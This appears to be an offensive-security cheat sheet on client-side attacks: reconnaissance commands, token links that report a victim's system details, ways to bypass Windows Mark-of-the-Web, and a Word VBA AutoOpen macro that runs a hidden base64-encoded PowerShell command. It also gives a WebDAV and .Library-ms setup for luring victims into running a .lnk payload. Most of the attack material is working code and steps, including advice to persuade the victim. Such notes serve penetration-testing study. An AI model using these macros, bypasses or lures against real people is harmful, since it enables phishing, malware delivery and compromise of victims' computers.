Client-Side
Information Gathering
site:example.com filetype:pdf
ffuf -ic -w <WORDLIST>:X -u <URL>/X -e .pdf
exiftool -a -u <FILE>
Generates token links to be sent to the victim, which, once opened, acquire information about the system and send it to a specified email address.
Microsoft Macro
Send files containing malicious macros When the file comes from an external source (internet, ex. email or direct link), will be protected with MOTW. The victim must be persuaded to click on Enable Editing/Enable Content/Checkbox to unblock. Or you need to find a way to prevent MOTW from being applied.
MOTW bypassing
If a file is saved directly to FAT32/exFAT (e.g., USB flash drive, SD card), Windows cannot add the MOTW.
Compress content into ZIP files using non-Microsoft tools.
Extract ZIP archives with third-party apps such as 7-Zip/WinRAR, which remove MOTW from extracted files.
Transfer files via cloud services (Google Drive, Dropbox, etc.), which recreate the file on the server and then delete the MOTW.
Send or receive files via FTP/SFTP/SMB from non-Windows servers, because these protocols do not support ADS and automatically remove the MOTW.
Using complex container files, such as ISO, VHD, or IMG, often does not automatically report the MOTW on internal files.
Create a Word file with extension
.doco.docm(no.docxbecause it doesn't incorporate or save macros in the document, so it is not persistent).View->Macros-><NAME>(document)-><CODE VBA>Visual Basic for ApplicationsWrite the macro by accessing the underlying operating system commands with WScript via the Windows Script Host Shell object.
Macros
Since VBA has a 255-character limit for literal strings, encode the command in base64 with Windows and split it into blocks.
str = "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAdwA..."
n = 50
for i in range(0, len(str), n):
print("Str = Str + " + '"' + str[i:i+n] + '"')sub AutoOpen()
MyMacro
End Sub
sub Document_Open()
MyMacro
End Sub
Sub myMacro()
Dim Str As String
Str = Str + "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGU"
Str = Str + "AdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAd"
' ...
Str = Str + "gADQANAA0ADQAIAAtAGUAIABwAG8AdwBlAHIAcwBoAGUAbABsA"
Str = Str + "A== "
CreateObject("Wscript.Shell").Run Str
End SubWindows Library Files
Windows library files are virtual containers for user content. They connect users with data stored in remote locations like web services or shares. These files have a .Library-ms file extension and can be executed by double-clicking them in Windows Explorer.
Create a Windows Library Files (
.Library-ms) to be sent to the victim. When they double-click on this file, it will appear as a normal directory in Windows Explorer.Setup WebDAV
pipx install wsgidavmkdir webdav; wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root ./webdavCreate malicious files to be inserted into the WebDAV server (ex.
.ink)Send
.Library-msfile to the victim and convince them to double-click on our.lnkpayload file to execute it.
Windows Library Files
Library files are written in XML and consist of three main parts: General Library Information, Library Properties, Library Locations.
After use, Windows makes changes to the file to optimize it. To ensure that it still works (especially on other machines), you must delete the added serialized tag and re-enter the URL.
Last updated